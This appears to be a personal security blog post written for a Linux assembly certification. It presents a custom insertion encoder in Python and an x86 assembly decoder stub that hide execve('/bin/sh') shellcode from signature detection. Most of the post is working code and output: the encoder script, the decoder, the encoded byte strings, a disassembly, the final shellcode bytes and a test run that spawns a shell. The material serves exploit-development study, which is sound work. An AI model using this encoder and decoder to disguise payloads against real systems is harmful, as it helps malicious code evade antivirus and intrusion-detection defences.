craftwa.re

A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[SLAE 4] Custom Encoding Scheme

|

Logo

Custom encoding scheme

For the 4th assignment of SLAE, I’ve made a custom encoding scheme, with the same purpose as the insertion encoder: avoid signature detection by inserting garbage bytes into the shellcode.

The encoding scheme works as follows: we start from a working shellcode and insert garbage blocks, containing a random garbage byte and the offset to the next garbage block. The distance between the garbage blocks is a random value between 2 modifiable limits. In this way we can control the final length of the shellcode and the amount of garbage inserted.

The encoded shellcode will look like this:

---------------------------------------------------------
| n0 | . . .| b1 | n1 | . . . . .| b2 | n2 | . . . |END |
---------------------------------------------------------

ni  - next garbage byte position
bi  - garbage byte 
END - END of the shellcode marker

The encoding is done in a Python script:

#!/usr/bin/python
'''
    Python Insertion Encoder   
'''
 
import random
 
# Execve-stack shellcode - execve(/bin/sh,..)
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
 
encoded = ""
 
idx = 1
 
# Control  the frequency of garbage through a displacement
MIN_DEP = 3     # min number of shellcode bytes after which to inject garbage
MAX_DEP = 4     # max ...
dep = random.randint(MIN_DEP, MAX_DEP)
n = idx + dep
encoded += '\\x%02x' % n
END = "\\xf0\\x0d"
 
for x in bytearray(shellcode) :
    if idx == n: 
        # We have reached an insertion point
        dep = random.randint(MIN_DEP, MAX_DEP)
        n = idx + dep
 
        encoded += '\\x%02x' % random.randint(1,255)
        encoded += '\\x%02x' % n
        idx += 2
     
    # Add a shellcode byte
    encoded += '\\x%02x' % x
    idx += 1
 
encoded += END
 
print encoded
# Print in nasm friendly form
print encoded.replace("\\x", ",0x")[1:]
 
print 'Initial len: %d, encoded len: %d' % (len(shellcode), 
    len(encoded)/4)

The decoding is done in the assembly shellcode:

global _start   

section .text
_start:
 jmp short call_shellcode

decoder:
 pop esi                     ; beginning of the encoded shellcode
 lea edi, [esi]              ; shellcode decoded in place. Edi - dest pointer
 xor eax, eax            
 mov al, byte [esi]          ; position of next garbage byte
 xor ebx, ebx
    push 1                      ; index into the shellcode
    pop ecx

decode: 
    cmp ecx, eax
    jnz short shellcode_byte    ; shellcode byte found 
    add ecx, 2                  ; garbage byte found. Advance 2 bytes
    mov al, byte [esi + eax + 1]; position of next garbage byte    
shellcode_byte:                 ; byte part of real shellcode
 mov bl, byte [esi + ecx]
 mov byte [edi], bl
 inc edi                     ; advance destination
 inc ecx                     ; advance source
 cmp byte [esi + ecx], 0xf0  ; check for END marker
    jnz decode
    cmp byte [esi + ecx + 1], 0x0d
    jnz decode
    jmp esi                     ; shellcode decoded in-place. Jump to it



call_shellcode:

 call decoder
 EncodedShellcode: db 0x04,0x31,0xc0,0x50,0x06,0x08,0x68,0x2f,0x15,0x0b,0x2f,0x12,0x0e,0x73,0x85,0x11,0x68,0x4e,0x14,0x68,0x96,0x18,0x2f,0x62,0xd8,0x1c,0x69,0x6e,0xf9,0x20,0x89,0xe3,0xa9,0x23,0x50,0x6d,0x26,0x89,0x60,0x29,0xe2,0x0e,0x2d,0x53,0x89,0x3b,0x30,0xe1,0xaa,0x34,0xb0,0x0b,0x55,0x37,0xcd,0xe2,0x3b,0x80,0xf0,0x0d

And now to test this:

  • Encode the execve-stack shellcode using the Python script above.
  • Disassemble and examine the encoded shellcode
  • Define the shellcode bytes at the end of the assembly decoder
  • Assemble
  • Test using a C program which executes the payload
$ ./custom-encoder.py 
\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d
0x05,0x31,0xc0,0x50,0x68,0xb1,0x08,0x2f,0x58,0x0c,0x2f,0x73,0x71,0x10,0x68,0x68,0x88,0x14,0x2f,0x62,0x42,0x17,0x69,0x6a,0x1a,0x6e,0xba,0x1d,0x89,0xf5,0x21,0xe3,0x50,0xe0,0x25,0x89,0xe2,0xaf,0x29,0x53,0x89,0x83,0x2d,0xe1,0xb0,0x33,0x30,0x0b,0x1a,0x33,0xcd,0x66,0x36,0x80,0xf0,0x0d
Initial len: 25, encoded len: 56

$ echo -ne "\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d" | ndisasm -b 32 -
00000000  0531C05068        add eax,0x6850c031
00000005  B108              mov cl,0x8
00000007  2F                das
00000008  58                pop eax
00000009  0C2F              or al,0x2f
0000000B  7371              jnc 0x7e
0000000D  106868            adc [eax+0x68],ch
00000010  88142F            mov [edi+ebp],dl
00000013  624217            bound eax,[edx+0x17]
00000016  696A1A6EBA1D89    imul ebp,[edx+0x1a],dword 0x891dba6e
0000001D  F5                cmc
0000001E  21E3              and ebx,esp
00000020  50                push eax
00000021  E025              loopne 0x48
00000023  89E2              mov edx,esp
00000025  AF                scasd
00000026  295389            sub [ebx-0x77],edx
00000029  832DE1B033300B    sub dword [dword 0x3033b0e1],byte +0xb
00000030  1A33              sbb dh,[ebx]
00000032  CD66              int 0x66
00000034  3680F00D          ss xor al,0xd

$ ./compile.sh 
  [+] Assembling egghunter
  [+] Linking egghunter
\xeb\x2d\x5e\x8d\x3e\x31\xc0\x8a\x06\x31\xdb\x6a\x01\x59\x39\xc1\x75\x07\x83\xc1\x02\x8a\x44\x06\x01\x8a\x1c\x0e\x88\x1f\x47\x41\x80\x3c\x0e\xf0\x75\xe8\x80\x7c\x0e\x01\x0d\x75\xe1\xff\xe6\xe8\xce\xff\xff\xff\x04\x31\xc0\x50\x06\x08\x68\x2f\x15\x0b\x2f\x12\x0e\x73\x85\x11\x68\x4e\x14\x68\x96\x18\x2f\x62\xd8\x1c\x69\x6e\xf9\x20\x89\xe3\xa9\x23\x50\x6d\x26\x89\x60\x29\xe2\x0e\x2d\x53\x89\x3b\x30\xe1\xaa\x34\xb0\x0b\x55\x37\xcd\xe2\x3b\x80\xf0\x0d
  [+] House cleaning
  [+] Done!
$ ./shellcode
Shellcode Length:  112 bytes
$ whoami
liv

##

The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification